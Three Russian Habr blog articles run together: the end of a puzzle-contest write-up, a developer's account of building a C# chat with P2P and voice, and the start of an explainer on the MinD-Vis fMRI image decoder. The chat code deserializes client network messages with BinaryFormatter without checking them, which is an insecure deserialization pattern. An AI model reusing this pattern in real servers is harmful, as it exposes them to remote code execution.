> Подсказка: “Где же поблизости найти вопросы, ответы на которые нужно вписать в матрицы?“
Вспомним тот факт, что всё общение с организаторами проходит через обсуждения в группе ВК, следовательно, сейчас мы в обсуждениях, а максимальное близкое к нам место с вопросами — или другая страница текущей темы, или другой раздел.
Так как первое является невозможным, то мы поднимаемся на уровень выше и смотрим на список обсуждений. Их не много, всего 4: обсуждение задач, подсказки, обсуждение конкурса, правила. Первые два откидываем сразу, к остальным присматриваемся. Зайдя в правила конкурса, видим вторым сообщением секцию с часто задаваемыми вопросами. Вот они, вопросы! Ответы у нас даны в задаче (подписи к матрицам) — по ключевым словам ищем их и выписываем!
> Подсказка: “Зеленые — начало укладки”
Отлично, выходит что-то надо куда-то уложить. “Куда” — это очевидно, так как знаем начало. Под “Что”, — принимаем вопросы, которые нашли на первом шаге. Проверим свою догадку: все матрицы 10х10 (что даёт нам 100 клеток для символов). Посмотрим на длину строк ответов: все они больше 100. Попробуем откинуть знаки пунктуации и символ пробела, посчитаем просто количество букв — у всех вопросов по 100 букв!
Остаётся последний шаг: узнать как укладывать. Там уже посмотрим на буквы в жёлтых клетках и может, что понятнее станет. Ломаем голову, от меня проскальзывает предложение: “Давайте рассматривать, как граф”, которое успешно игнорируется всеми остальными. Через некоторое время предлагается загуглить по изображению: вырезаем первую матрицу, скармливаем Google — ничего, идём в Яндекс — что-то есть!
Вчитываемся в [найденное условие](https://web.mit.edu/puzzle/www/2018/full/puzzle/a_learning_path.html), понимаем, что необходимо найти гамильтонов цикл, даже не пытаемся сделать это руками, думаем об автоматизации, прикидываем сложность и … сложно. Олимпиадники говорят, что решать задачу самым наивным перебором смысла нет. А использовать оптимизации лень, но есть надежда на то, что можно решить задачу проще. Для подтверждения того, что наивное решение будет отрабатывать слишком долго, пишем его. Убеждаемся, что работает долго.
Идём в Google, находим программу для решения оригинальной головоломки поиска цикла, а не путей, как в статье, которую мы нашли. [Программа](http://www.cross-plus-a.com/) оказалась только для Windows, ни у кого её не оказалось под рукой, пошли поднимать виртуалку. Подняли, запустили, программа моментально находила решения.
Решение представляет собой обход поля:
Заходим всей командой в Google таблицу, накладываем скриншоты полученных решений на наши, перенесённые с задания, матрицы. В инструментах для разработчиков браузера задаём элементам с скриншотами прозрачность и заполняем матрицы буквами из ранее найденных вопросов.
Через некоторое время коллективного труда, получаем 8 матриц, так как у каждого решения есть два направления, и мы без понятия — какое правильное. Во время этого процесса мы были в зуме. У каждого двигаться по матрице получалось с разной скоростью и разным количеством опечаток, было очень весело. Осталось дело за малым — составляем слова из букв, которые находятся в желтых клетках.
Получив с каждой матрицы по кусочку фразы, читаем: “Самое большое белла в лонге джавы минус сто”. Понимаем, что от нас хотят самое большое число Белла, которое помещается в тип Long из Java.
Это в точности 4638590332229999253 и является ответом к задаче.
#### Задача с монетой
Самая сложная для меня задача для объяснения. Не представляю просто, как можно передать все те дней 10, что мы над ней сидели. Поэтому, давайте считать краткость и отсутствие подробностей — за фишку. В задании, как и в прошлых, у нас только изображение:
В какие дебри мы только не зашли без подсказок. Это — и деноминация в Беларуси, и состав монеты, и её размеры. Не оставили без внимания и словое opener с опечаткой. Я сразу же перевёл орёл и решка на английский несколькими способами, гуглил, пришёл к компании Open Retail, которая в 2009 году что-то там, а владеет она торговой сетью монетка. Смотрели на конкурсы прошлых лет. В общем дошли до тупика и пошли заваливать вопросами организаторов:
> — В 19 надо учитывать номинал?
>
> — да, и слово там — не опечатка
>
>
>
> — монета или монета Республики Беларусь?
>
> — вопрос непонятен, скорее это не важно (слово «монета» не важно), важно то, что нарисовано
>
>
>
> — В 19ой есть что-то связанное с английской розницей?
>
> — только на втором этапе, на первом важны только буквы и числа на монетах
>
>
>
> — можно еще что-нибудь по 19, цифры буквы деньги, ничего не складывается?
>
> — деньги — на втором этапе, на первом нужно соотнести числа и последовательности букв
>
>
>
> — Как в 19ой понять, что первый «этап» пройден? Должна получиться какая-то фраза? Если должны получиться числа, то как можно понять, что они правильные?
>
> — получится место. Нет, не числа должны получиться. Но этот в Минске, так можно понять, что он правильный.
>
>
>
> — мафия причастна к 19 задаче или просто тихий?
>
> — вероятно, ни первое, ни второе. Для определения места там числа и последовательности букв.
>
>
>
> — А можете как-то направить? А то вообще непонятно, как подходить к 19-ой задаче(ещё в первом этапе). Что делать с этими буквами и цифрами)
>
> — число связано с тем, как написано слово. на левой — аналогичная связь
>
>
Получив просто тонну различной информации, стало понятно, что есть некая функция, которая принимает в себя строку и число и как-то переставляет в ней буквы. Реализовываем различные сдвиги, вводим слово openre и выводим каждую итерацию в консоль, смотрим примерно на 20 позицию, потому что без понятия что там по +-1. При определённом алгоритме встречаем opener на 21 позиции, а это 20 если с нуля.
Меняем входное значение на то, что находится на другой стороне монеты — u9pgezed6. Повторяем тоже самое, но уже знаем про +1 и смотрим на 2010 итерацию, вместо 2009 — приходим к **u9edez6gp** ([файл с сгенерированными строками](https://paste.darkkeks.me/5d55f6a5/)).
Из подсказок знаем, что конец первого этапа — место. Ищем способы задать точное место строкой, натыкаемся на Plus коды Google, но формат не тот. Ищем альтернативные варианты и находим — [GeoHash](http://geohash.org)! Для эксперимента вбиваем на этом сайте город Минск и сравниваем две строки. Похожи! Вводим нашу полученную строку с монет:
Место выглядит абы-где, как будто не туда, куда надо, указано, но я был там летом (проходил тестирование) и знаю, что там есть офис Itransition. Это точно то, что нам надо! По приходу на место бросается эта красота:
Первым делом я гуглю картинку, выхожу на ask девушки, потом на её instagram, интересуюсь в директе, откуда у неё эта фотография, как она с ней связана и прочее (объяснив ситуацию с конкурсом, конечно же). Оказывается, что девушка просто неподалеку отдыхала в каком-то заведении, а на улице была эта стена, которую она сфотографировала и опубликовала.
Присмотревшись к стене, находим ссылки на авторов — ими оказались две девушки. Одна ссылка на Instagram профиль — там, как раз, процесс создания этого шедевра. Вторая ссылка — пользователь Telegram. Перейдя по второй, похвалив за проделанную работу (правда ведь красиво), спрашиваю: “Связано ли это с конкурсом как-то?”, на что получаю положительный ответ: “Да ребята мы рисовали по строгому задания там нужно найти закономерность в этих чудовищных больше ничего сказать не могу. Нас не трогать”.
Продолжаем залипать на стену, рассматривать монстров. Думаю, что-то в сторону конечностей. Не помню, кто именно, но точно не я, замечает, что это матрица 8x8, где каждый элемент — монстр. Теперь и скобки [] в условии задачи выглядят для нас не как целая часть числа, а как обозначение матрицы.
Возвращаемся к переводу орёл и решка на английский язык (к этому подстегнула музыкальная подсказка с песней Лепса “Уходи по-английски”), закидываю идею посчитать heads и tails каждого монстра в отдельных матрицах. Долго сопротивляемся, но решаем попробовать. Сопротивляемся по той причине, что чёрт ногу сломит тут понять — что хвост, а что голова и сколько их. Матрицы перемножаем:
Замечаем подозрительное количество четвёрок (да и в знаменателе она же). Игорь заменяет все ненулевые элементы на 4, так как могли ошибиться при подсчёте и получает следующую картину:
Игорь ничего не разглядел на этой матрице и начал циклически сдвигать вправо — авось, что проявится. Отчаявшись, скинул в чатик:
Заключение
----------
Всего было полсотни задач и рассказывать красочно о каждой, в рамках одной статьи, просто нецелесообразно. Мы отобрали те, где есть, что показать и рассказать. К сожалению, сюда не вошли алгоритмические задачи, коих было достаточное количество.
Чего мы только не вытворяли, чтобы достигнуть решения. Писали код на двух языках в одном файле, который будет без проблем выполняться в разных компиляторах. Коллизии MD5 хэш трёх разных файлов с кодом, игрались с RFC 2898 + AES, изучили флаги стран по цветам, выучили Ruby, пописали на asme, подеобфусцировали кучу раз код и многое-многое другое…
Это был незабываемый месяц! Рекомендуем принять участие в следующем году! А вот и обещанная задача про Python (без решения):
> Написать скрипт на языке Python 3, который: состоит не более чем из 4000 латинских букв и круглых или угловых скобок; при запуске печатает на консоль переданные в скрипт аргументы в обратном порядке (каждый на отдельной строке).
>
>
Дополню, что пробелы использовать запрещено. Исключительно то, что написано в условии. Жду вас в комментариях!
Спасибо, что дочитали аж до сюда! Всем МурмурХеша. | https://habr.com/ru/post/507904/ | null | ru | null |
# Как я писал свой чат
Привет, Хабр!
В статье я написал, о том как разрабатывал чат. О его архитектуре и о технических решениях принятых в ходе его разработки.
Чат представляет собой клиент-серверное приложение с элементами p2p.
С поддеркжой:
* Личных сообщений.
* Комнат.
* Передачи файлов.
* Голосового чата.
Исходный код проекта: [GitHub](https://github.com/Nirklav/TCPChat)
Итак, понеслась.
---
#### Модель
1. ###### Данные и их синхронизация.
2. ###### API.
3. ###### Запись и воспроизведение звука.
##### Данные и их синхронизация.
В начале когда я писал первую версию, я сразу же написал асинхронную версию клиента и сервера. Но, почему-то, напрочь забыл про то, что данные нужно синхронизировать. И так-как серьезной нагрузки чат никогда не испытывал, то я понял это только после введения в чат передачи файлов. После этого сразу все вспомнилось и везде было вставлено куча локов. Что разумеется не было лучшим решением. Если сказать точнее, то это было всего лишь чуть лучше, чем программа без синхронизации.
Сейчас же на клиенте и на сервере используется единый механизм доступа к данным. Блокируется полностью модель. Должен сказать что для сервера это не самое удачное решение.
Идея достаточно простая: есть контекст, который приватным статическим полем содержит модель. В конструкторе он, вызывает Monitor.Enter. На саму модель, либо на отдельный объект синхронизации. Так же контекст реализует интерфейс IDisposable и в методе Dispose он эту эту модель освобождает, вызывая метод Monitor.Exit.
Обобщенный класс используемый как для сервера, так и для клиента. В примере модель содержится не в самом контексте а в классе его создающем.
**Код**
```
public abstract class ModelContext :
IDisposable
{
#region consts
private const int TimeOut = 10000;
#endregion
#region fields
private static object syncObject = new object();
protected TModel model;
#endregion
#region initialization
protected ModelContext(TModel initialModel)
{
if (!Monitor.TryEnter(syncObject, TimeOut))
throw new InvalidOperationException("model lock timeout");
model = initialModel;
}
public void Dispose()
{
model = default(TModel);
Monitor.Exit(syncObject);
}
#endregion
}
}
```
В результате, для доступа к данным хочешь-не хочешь их нужно блокировать, и уже не задумываешься о синхронизации. Главное не забывать использовать конструкцию using. Для сервера это не является лучшим решением т.к. половина команд работают с 2умя пользователями максимум, а блокируются в результате — все.
Контекст в программе может создавать только одна сущность (ServerModel — (неожиданно) для сервера, и ClientModel — для клиента). Она представляет собой класс содержащий статическую приватную модель (саму себя), API а также клиентское соединение и пир — для клиентской модели или сервер для серверной. (API, клиент и т.д. содержатся как статические поля). Также клиентская модель, в отличии от серверной, содержит еще и события. На которые будет подписан пользовательский интерфейс. В общем эти классы выступают как основные для доступа к чему либо.
В качестве примера приведу серверную модель (она поменьше). Обратить внимание следует на метод Get() создающий контекст.
**Код**
```
public class ServerModel
{
#region static model
private static ServerModel model;
///
/// Серверный API
///
public static IServerAPI API { get; private set; }
///
/// Сервер
///
public static AsyncServer Server { get; private set; }
///
/// Исользовать только с конструкцией using
///
/// using (var server = SeeverModel.Get()) { ... }
/// Возвращает и блокирует модель.
public static ServerContext Get()
{
if (Interlocked.CompareExchange(ref model, null, null) == null)
throw new ArgumentException("model do not inited yet");
return new ServerContext(model);
}
#endregion
#region consts
public const string MainRoomName = "Main room";
#endregion
#region properties
public Dictionary Rooms { get; private set; }
public Dictionary Users { get; private set; }
#endregion
#region constructor
public ServerModel()
{
Users = new Dictionary();
Rooms = new Dictionary();
Rooms.Add(MainRoomName, new Room(null, MainRoomName));
}
#endregion
#region static methods
public static bool IsInited
{
get { return Interlocked.CompareExchange(ref model, null, null) != null; }
}
public static void Init(IServerAPI api)
{
if (Interlocked.CompareExchange(ref model, new ServerModel(), null) != null)
throw new InvalidOperationException("model already inited");
Server = new AsyncServer("ServerErrors.log");
API = api;
}
public static void Reset()
{
if (Interlocked.Exchange(ref model, null) == null)
throw new InvalidOperationException("model not yet inited");
if (Server != null)
{
Server.Dispose();
Server = null;
}
API = null;
}
#endregion
}
```
##### API
API в данном случае это логика чата. Она представляет собой класс хранящий в себе команды которые могут выполнятся на нашей стороне, и набор методов которые отправляют команды другой стороне (Клиенту, если рассматриваем себя со стороны сервера. Для клиента это сервер или другой пир). В методах содержатся наиболее сложные команды, либо просто часто используемые.
Работает вся эта система следующим образом: как только клиент или сервер принимает пакет данных, он передает его на анализ в API. (У сервера принимают сообщения его соединения, а они в свою очередь дергают один метод у сервера, о том что данные приняты). API просто считывает первые два байта сообщения и ищет у себя в словаре команду с нужным id, и возвращает ее. Или пустую команду, которая ничего не делает, если такого id нет. Дальше команде передается полученный пакет, и id приславшего его соединения и она выполняется.
Также API имеет свой интерфейс, изначально его не было. Появился после того как я решил написать другую его реализацию, предполагалось что это будет защищенное API. Но потом мне это просто стало не интересно, и я не на долго забросил проект. Месяца на два. После возвращения к нему мне уже не хотелось все это делать, и я занялся реализацией P2P.
Клиент, кстати, умеет сам выбирать API, который использует сервер, и если такового не имеется он отсоединяется от сервера и говорит что не поддерживает серверный API. Это реализовано достаточно просто — после того как сервер принял соединение он сразу же отправляет строку с названием своего API, а клиент собственно ожидает эту строку и устанавливает нужный интерфейс. Ну или не устанавливает, если такой не поддерживает. После этого действия уже идет апишный запрос регистрации пользователя на сервере.
Метод сервера обрабатывающего принятые пакеты:
**Код**
```
public class DataReceivedEventArgs : EventArgs
{
public byte[] ReceivedData { get; set; }
public Exception Error { get; set; }
}
public interface IServerAPICommand
{
void Run(ServerCommandArgs args);
}
public class ServerCommandArgs
{
public string ConnectionId { get; set; }
public byte[] Message { get; set; }
}
private void DataReceivedCallBack(object sender, DataReceivedEventArgs e)
{
try
{
if (e.Error != null)
throw e.Error;
if (!isServerRunning)
return;
IServerAPICommand command = ServerModel.API.GetCommand(e.ReceivedData);
ServerCommandArgs args = new ServerCommandArgs
{
Message = e.ReceivedData,
ConnectionId = ((ServerConnection)sender).Id,
};
command.Run(args);
}
catch (Exception exc)
{
ServerModel.Logger.Write(exc);
}
}
```
Полный код класса API (в данном случае — серверного):
**Код**
```
///
/// Класс реазиующий стандартное серверное API.
///
public class StandardServerAPI : IServerAPI
{
///
/// Версия и имя данного API.
///
public const string API = "StandartAPI v2.0";
private Dictionary commandDictionary = new Dictionary();
///
/// Создает экземпляр API.
///
/// Сервер которому будет принадлежать данный API.
public StandardServerAPI()
{
commandDictionary.Add(ServerRegisterCommand.Id, new ServerRegisterCommand());
commandDictionary.Add(ServerUnregisterCommand.Id, new ServerUnregisterCommand());
commandDictionary.Add(ServerSendRoomMessageCommand.Id, new ServerSendRoomMessageCommand());
commandDictionary.Add(ServerSendPrivateMessageCommand.Id, new ServerSendPrivateMessageCommand());
commandDictionary.Add(ServerGetUserOpenKeyCommand.Id, new ServerGetUserOpenKeyCommand());
commandDictionary.Add(ServerCreateRoomCommand.Id, new ServerCreateRoomCommand());
commandDictionary.Add(ServerDeleteRoomCommand.Id, new ServerDeleteRoomCommand());
commandDictionary.Add(ServerInviteUsersCommand.Id, new ServerInviteUsersCommand());
commandDictionary.Add(ServerKickUsersCommand.Id, new ServerKickUsersCommand());
commandDictionary.Add(ServerExitFormRoomCommand.Id, new ServerExitFormRoomCommand());
commandDictionary.Add(ServerRefreshRoomCommand.Id, new ServerRefreshRoomCommand());
commandDictionary.Add(ServerSetRoomAdminCommand.Id, new ServerSetRoomAdminCommand());
commandDictionary.Add(ServerAddFileToRoomCommand.Id, new ServerAddFileToRoomCommand());
commandDictionary.Add(ServerRemoveFileFormRoomCommand.Id, new ServerRemoveFileFormRoomCommand());
commandDictionary.Add(ServerP2PConnectRequestCommand.Id, new ServerP2PConnectRequestCommand());
commandDictionary.Add(ServerP2PReadyAcceptCommand.Id, new ServerP2PReadyAcceptCommand());
commandDictionary.Add(ServerPingRequestCommand.Id, new ServerPingRequestCommand());
}
///
/// Версия и имя данного API.
///
public string Name
{
get { return API; }
}
///
/// Извлекает команду.
///
/// Пришедшее сообщение, по которому будет определена необходимая для извлекания команда.
/// Команда для выполнения.
public IServerAPICommand GetCommand(byte[] message)
{
ushort id = BitConverter.ToUInt16(message, 0);
IServerAPICommand command;
if (commandDictionary.TryGetValue(id, out command))
return command;
return ServerEmptyCommand.Empty;
}
///
/// Напрямую соединяет пользователей.
///
///
public void IntroduceConnections(string senderId, IPEndPoint senderPoint, string requestId, IPEndPoint requestPoint)
{
using (var context = ServerModel.Get())
{
var content = new ClientWaitPeerConnectionCommand.MessageContent
{
RequestPoint = requestPoint,
SenderPoint = senderPoint,
RemoteInfo = context.Users[senderId],
};
ServerModel.Server.SendMessage(requestId, ClientWaitPeerConnectionCommand.Id, content);
}
}
///
/// Посылает системное сообщение клиенту.
///
/// Пользователь получащий сообщение.
/// Сообщение.
public void SendSystemMessage(string nick, string message)
{
var sendingContent = new ClientOutSystemMessageCommand.MessageContent { Message = message };
ServerModel.Server.SendMessage(nick, ClientOutSystemMessageCommand.Id, sendingContent);
}
///
/// Закрывает соединение.
///
/// Ник пользователя, соединение котрого будет закрыто.
public void CloseConnection(string nick)
{
ServerModel.Server.CloseConnection(nick);
using (var server = ServerModel.Get())
{
foreach (string roomName in server.Rooms.Keys)
{
Room room = server.Rooms[roomName];
if (!room.Users.Contains(nick))
continue;
room.Remove(nick);
server.Users.Remove(nick);
var sendingContent = new ClientRoomRefreshedCommand.MessageContent
{
Room = room,
Users = room.Users.Select(n => server.Users[n]).ToList()
};
foreach (string user in room.Users)
{
if (user == null)
continue;
ServerModel.Server.SendMessage(user, ClientRoomRefreshedCommand.Id, sendingContent);
}
}
}
}
}
```
Каждая команда реализует интерфейс команды. Для сервера IServerAPICommand, для клиента IClientAPICommand, на данном этапе их можно было бы свести к 1 интерфейсу, но мне этого делать почему то не хочется. Также она содержит свой Id и данные необходимые для ее выполнения, описывающееся классом MessageContent. Впрочем команде могут быть и не нужны данные. И она сама ответственна за то, что бы десериализовать набор байт в экземпляр класса.
Пример команды. В данному случае это команда добавления файла в комнату:
**Код**
```
public interface IServerAPICommand
{
void Run(ServerCommandArgs args);
}
public class ServerCommandArgs
{
public string ConnectionId { get; set; }
public byte[] Message { get; set; }
}
abstract class BaseCommand
{
protected static T GetContentFormMessage(byte[] message)
{
using (MemoryStream messageStream = new MemoryStream(message))
{
messageStream.Position = sizeof(ushort);
BinaryFormatter formatter = new BinaryFormatter();
T receivedContent = (T)formatter.Deserialize(messageStream);
return receivedContent;
}
}
}
class ServerAddFileToRoomCommand :
BaseServerCommand,
IServerAPICommand
{
public void Run(ServerCommandArgs args)
{
MessageContent receivedContent = GetContentFormMessage(args.Message); //Извлекаем контент.
if (receivedContent.File == null)
throw new ArgumentNullException("File");
if (string.IsNullOrEmpty(receivedContent.RoomName))
throw new ArgumentException("RoomName");
if (!RoomExists(receivedContent.RoomName, args.ConnectionId))
return;
using (var context = ServerModel.Get()) //Получаем доступ к модели, и блокируем ее
{
Room room = context.Rooms[receivedContent.RoomName];
if (!room.Users.Contains(args.ConnectionId))
{
ServerModel.API.SendSystemMessage(args.ConnectionId, "Вы не входите в состав этой комнаты.");
return;
}
if (room.Files.FirstOrDefault(file => file.Equals(receivedContent.File)) == null)
room.Files.Add(receivedContent.File);
var sendingContent = new ClientFilePostedCommand.MessageContent
{
File = receivedContent.File,
RoomName = receivedContent.RoomName
};
//отправляем сообщения всем пользователям в комнате
//в данном случае это сообщение о том что в комнату добавлен файл, как вы уже догадались
foreach (string user in room.Users)
ServerModel.Server.SendMessage(user, ClientFilePostedCommand.Id, sendingContent);
}
}
[Serializable]
public class MessageContent
{
string roomName;
FileDescription file;
public string RoomName { get { return roomName; } set { roomName = value; } }
public FileDescription File { get { return file; } set { file = value; } }
}
public const ushort Id = (ushort)ServerCommand.AddFileToRoom;
}
```
##### Запись и воспроизведение звука.
Добавлением голосового чата занялся недавно, возможно во время публикации он все еще будет в демо версии. Но уже успел повозится с воспроизведением и записью звука.
Первым вариантом были WinApi функции waveIn\* waveOut\*. Это был самый простой вариант, поэтому начал с него. Но с ними не сложилось, т.к. на версии framework'a 3.5 неадекватно работал маршалинг на платформе x64 и при запуске приложение просто падало без каких либо исключений. При сборке под х86 все было нормально.
Дальше была попытка подключить DirectSound, но у него был найден свой баг с способом оповещения о завершении проигрывания куска данных. После гугления на эту тему выяснилось, что Mircosoft давно забросили DirectSound и работают с XAudio2. К тому же его использование привело бы к необходимости компиляции 2ух версий х86 и х64.
Так как мне не хотелось самому писать обертку для XAudio2, то я вспомнил про OpenAL. Для которого к тому же есть обертка (OpenTK), еще и с открытым исходным кодом. Из OpenTK был аккуратно вырезан только сама аудио библиотека. Которая сейчас и работает в программе.
Так как мне приходилось работать OpenGL ES 2, то и с OpenAL я подружился сразу. Особенное если учесть что по нему на официальном сайте OpenTK есть примеры.
Для записи данных я использую достаточно простую схему, из примера. При включении записи, запускается таймер, период срабатывания которого настраивается на время, за которое буфер должен заполнится на половину. После чего данные из него считываются и отправляются командой ClientPlayVoiceCommand всем кто может слушать нас.
Код можно посмотреть в ветке [TCPChat\Engine\Audio\OpenAL](https://github.com/Nirklav/TCPChat/tree/master/Engine/Audio/OpenAL).
---
#### Сеть
Изначально чат представлял собой одну главное комнату, где находились все пользователи. Из протоколов передачи данных использовался только TCP. Так — как он уже предоставляет надежность передачи данных оставалось только разбить его непрерывный поток на сообщения.
Это было сделано просто добавлением размера сообщения в его начало.
То есть пакет представляет из себя следующее:
Первые 4 байта — размер сообщения.
5-6 байт — идентификатор команды.
Остальные данные это сериализованный MessageContent.
Далее на одном форуме мне предложили ввести передачу файлов и голосовую связь. С файлами я справился почти сразу, правда в первой версии файлы передавались через сервер, что было вообще ужасно. После этого я задумался над тем, что хорошо было бы передавать их на прямую. Как вы знаете с проблемой NAT, это сделать не так то и просто.
Я долго возился и пытался реализовать обход NAT используя TCP, тогда бы не пришлось парится по поводу ненадежности UDP. С ним так ничего и не получилось. После чего было решено использовать UDP и технологию UDP hole punching.
А для начала надо было решить проблемы надежности. Как обычно бывает, я начал трудится над своим протоколом поверх UDP обеспечивающим мне надежную доставку сообщений. И он все таки у меня получился, но работал только локально. При его тестировании в реальных условиях он, видимо, настолько нагружал сеть, что у меня полностью зависал компьютер.
После этого я начал искать уже реализованные библиотеки и наткнулся на сатью на Хабре, где аналогичная проблема была решена с помощью Lidgren.Network. Она и была выбрана.
Обход NAT реализован на уровне API. Схема простая, нужно всего лишь, что бы пиры узнали реальные адреса, по которым их видит сервер. После этого один пир должен кинуть сообщение другому. Это сообщение возможно не дойдет, но создаст правило на роутере, что сообщения от того адреса, по которому оно было отправлено нужно доставлять именно этому компьютеру. После этого с помощью сервера другой пир узнает, что ему уже можно подключатся и, собственно, подключается.
И так, последовательность действий:
1. Клиент 1 говорит серверу, что хочет подключится к Клиенту 2. (Команда ServerP2PConnectRequestCommand)
2. Сервер делегирует свою задачу классу P2PService
3. P2PService смотрит не подключались ли к нему уже такие клиенты и не знает ли он уже их адреса. Если нет — просит подключится тех кто подключен небыл (Команда ClientConnectToP2PServiceCommand)
4. После их подключения, P2PService отправляет одному из них команду ожидания подключения. В данному случае это Клиент 2. (ClientWaitPeerConnectionCommand)
5. Клиент получивший команду, также получает адрес который будет к нему подключатся, и отправляет на него сообщение. Начинает ожидать подключение и отправляет серверу команду о том, что готов принять соединение. (ServerP2PReadyAcceptCommand)
6. После получения команды готовности, сервер говорит другому клиенту (Клиент 1), что тот может подключатся. (ClientConnectToPeerCommand)
7. Связь между клиентами установлена.
Черными стрелками обозначены отправки команд. Красным инициализации Lidgren.Network соединений.
Весь этот алгоритм спрятан в AsyncPeer, и достаточно вызвать метод SendMessage, и если клиент не подключен, он сам подключится, и отправит сообщение. Либо сразу отправит, если уже подключен.
Команды голосовой связи инициируют соединение немного иначе. При создании голосовой комнаты сервер создает в комнате карту подключений. В которой записано куда должен подключится каждый пользователь в комнате. А команды воспроизведения голоса отправляются с помощью метода AsyncPeer.SendMessageIfConnected, который просто выкидывает сообщение, если соединения нет.
---
#### Пользовательский интерфейс.
Напоследок немного об интерфейсе программы.
Он разработан с помощью WPF и паттерна MVVM. Очень гибкая технология, правда в версии 3.5 немного сыровата, но тем не менее позволяет обойти сыроватые места. Как на пример некоторые свойства Command все еще не зависимые, и для них пришлось написать обертку CommandReference.
CommandReference в данном случае содержит реальную команду — зависимое свойство, на которое можно повесить биндинг. Сама обертка размещается в статических ресурсах. И используется в нужном месте, реально вызывая прибинденую команду.
Еще приходилось вместо оберток использовать AttachedProperty, которые в свою очередь изменяют нужные.
Для оповещения интерфейса об изменениях было решено использовать событийную модель, при этому в событиях передается вся необходимая информация, чтобы отобразить изменения.
В прочем, об интерфейсах написать больше нечего, WPF как WPF. | https://habr.com/ru/post/228021/ | null | ru | null |
# Как нейросеть MinD-Vis преобразует активность мозга в изображение
[](https://habr.com/ru/company/ruvds/blog/706694/)
Расшифровка визуальной информации из активности мозга — это способ узнать больше о том, как работает зрительная система человека, и как заложить основу для создания системы, в которой люди и компьютеры могут общаться друг с другом с помощью сигналов мозга. Однако создать чёткие и точные изображения из записей мозга может быть сложно, потому что сигналы мозга сложны и часто не хватает данных для должного обучения.
В этой статье мы разберём работу MinD-Vis, опубликованную Стэндфордским, Гонконгским и Сингапурским университетами в Ноябре этого года.
▍ Зачем?
--------
Человеческое восприятие определяется как свойствами объективных стимулов, так и прошлым опытом, которые вместе формируют сложную мозговую деятельность. Цель когнитивной неврологии состоит в том, чтобы понять эту мозговую деятельность. Декодирование визуальной информации из активности мозга — одна из сложных проблем, на которой сосредоточена когнитивная неврология. ФМРТ обычно используется для косвенного измерения мозговой активности, и уже несколько лет исследователи пытаются использовать нейросети, чтобы попытаться напрямую восстановить визуальные стимулы из ФМРТ. Однако это сложно, поскольку восстановленные изображения обычно размыты и бессмысленны. Крайне важно изучить эффективные и биологически обоснованные представления для ФМРТ, чтобы можно было установить чёткую и обобщаемую связь между деятельностью мозга и визуальной информацией. Индивидуальность мозга каждого человека ещё больше усложняет эту проблему.
*Сравнение реальных данных(GT) c результатами разных моделей генерации. В этой статье мы рассматриваем модель, результаты которой обведены в красный*
▍ Как работает MinD-Vis
-----------------------
Сначала изучается эффективное представление данных фМРТ с использованием автоэнкодера. Затем, дополняя модель Latent Diffusion, кондиционированием представления фМРТ, модель способна реконструировать весьма правдоподобные изображения с семантически совпадающими деталями из записей мозга.
▍ fMRI и его преобразование
---------------------------
МРТ, измеряющая сигналы BOLD, является косвенной и агрегированной мерой активности нейронов, которая может быть проанализирована иерархически с помощью функциональных сетей. Функциональные сети, состоящие из вокселей данных ФМРТ, имеют неявные корреляции друг с другом в ответ на внешние стимулы. Следовательно, изучение этих неявных корреляций путём восстановления замаскированных вокселей, обеспечит предварительно обученную модель глубоким контекстуальным пониманием данных ФМРТ.
Мозг кодирует визуальную информацию скудно, что означает, что большинство естественных изображений активируют лишь небольшую часть нейронов в зрительной коре. Это повышает эффективность передачи информации и создаёт минимальную избыточность в мозге.
Визуальная информация может быть восстановлена из небольшой части данных, собранных из первичной зрительной коры с помощью различных методов визуализации, включая ФМРТ.
Авторы предлагают делить векторизованные воксели фМРТ на заданные участки и в последствии передавать их в одномерный автоэнкодер.
В статье использовали размер патча 16, размер встраивания 1024, глубину кодирования 24 и коэффициент маскировки 0,75 в качестве полной настройки модели с предварительно обученной Latent Diffusion.
Сжатое представление мозговой активности теперь можно передавать в Latent Diffusion для восстановления его в изображение.
▍ Latent Diffusion
------------------
Модель скрытой диффузии состоит из двух компонентов: автокодеров с регуляризацией векторного квантования и модели шумоподавления на основе UNet с модулями внимания. Автоэнкодер с регуляризацией векторного квантования сжимает изображения в скрытые объекты меньшей размерности, а модель шумоподавления на основе UNet с модулями внимания позволяет гибко настраивать генерацию изображений с помощью векторов key/value/query (о которых подробнее я рассказывал в этой статье) во время переходов по цепочке Маркова.
Авторы статьи сделали файнтюн модели Latent Diffusion с кондиционированием, обучая модель на сжатых данных фМРТ мз прошлого блока.
▍ Код
-----
Для большинства подобных статей код не выкладывают, но в нашем случае страничка на github обзавелась не только кодом, но и инструкциями по обучению!
С полным кодом вы можете ознакомиться [здесь.](https://github.com/zjc062/mind-vis)
Немного кода файнтюна маскированного автоэнкодера (MAE):
Функция main() является основной функцией скрипта stageA2\_mbm\_finetune.py. В ней происходит инициализация нейронной сети и загрузка предобученных весов. Далее происходит создание объекта класса DataLoader, который отвечает за разбиение данных на батчи и итерацию по ним при обучении.
```
# create model
num_voxels = (sd['model']['pos_embed'].shape[1] - 1)* config_pretrain.patch_size
model = MAEforFMRI(num_voxels=num_voxels, patch_size=config_pretrain.patch_size, embed_dim=config_pretrain.embed_dim,
decoder_embed_dim=config_pretrain.decoder_embed_dim, depth=config_pretrain.depth,
num_heads=config_pretrain.num_heads, decoder_num_heads=config_pretrain.decoder_num_heads,
mlp_ratio=config_pretrain.mlp_ratio, focus_range=None, use_nature_img_loss=False)
model.load_state_dict(sd['model'], strict=False)
model.to(device)
model_without_ddp = model
# create dataset and dataloader
if config.dataset == 'GOD':
_, test_set = create_Kamitani_dataset(path=config.kam_path, patch_size=config_pretrain.patch_size,
subjects=config.kam_subs, fmri_transform=torch.FloatTensor, include_nonavg_test=config.include_nonavg_test)
elif config.dataset == 'BOLD5000':
_, test_set = create_BOLD5000_dataset(path=config.bold5000_path, patch_size=config_pretrain.patch_size,
fmri_transform=torch.FloatTensor, subjects=config.bold5000_subs, include_nonavg_test=config.include_nonavg_test)
else:
raise NotImplementedError
print(test_set.fmri.shape)
if test_set.fmri.shape[-1] < num_voxels:
test_set.fmri = np.pad(test_set.fmri, ((0,0), (0, num_voxels - test_set.fmri.shape[-1])), 'wrap')
else:
test_set.fmri = test_set.fmri[:, :num_voxels]
print(f'Dataset size: {len(test_set)}')
sampler = torch.utils.data.DistributedSampler(test_set) if torch.cuda.device_count() > 1 else torch.utils.data.RandomSampler(test_set)
dataloader_hcp = DataLoader(test_set, batch_size=config.batch_size, sampler=sampler)
```
Пара моментов из файнтюна Latent Diffusion:
Функция to\_image принимает массив изображений в качестве входных данных и преобразует его в изображение PIL. Функция channel\_last переупорядочивает каналы изображения таким образом, чтобы последнее измерение представляло каналы.
```
def to_image(img):
